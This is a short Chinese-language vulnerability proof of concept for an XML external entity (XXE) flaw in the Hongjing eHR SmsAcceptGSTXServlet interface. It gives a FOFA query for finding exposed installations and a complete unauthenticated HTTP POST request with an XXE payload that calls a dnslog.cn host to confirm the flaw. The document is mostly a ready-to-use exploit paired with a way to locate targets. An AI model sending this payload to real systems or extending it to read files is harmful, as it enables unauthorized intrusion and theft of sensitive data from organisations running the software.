H1-9宏景-人力资源管理-XXE
漏洞描述:
宏景eHR SmsAcceptGSTXServlet接口处存在XML实体注入漏洞,未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件,获取敏感信息,使系统处于极不安全的状态。
网站图片:
网络测绘:
fofa语法:
FOFA:app=“HJSOFT-HCM”
漏洞复现:
payload:
POST /servlet/sms/SmsAcceptGSTXServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "http://6666666.2uf09k.dnslog.cn">]><r><a>&sp;</a ></r>
效果图:
Dnslog验证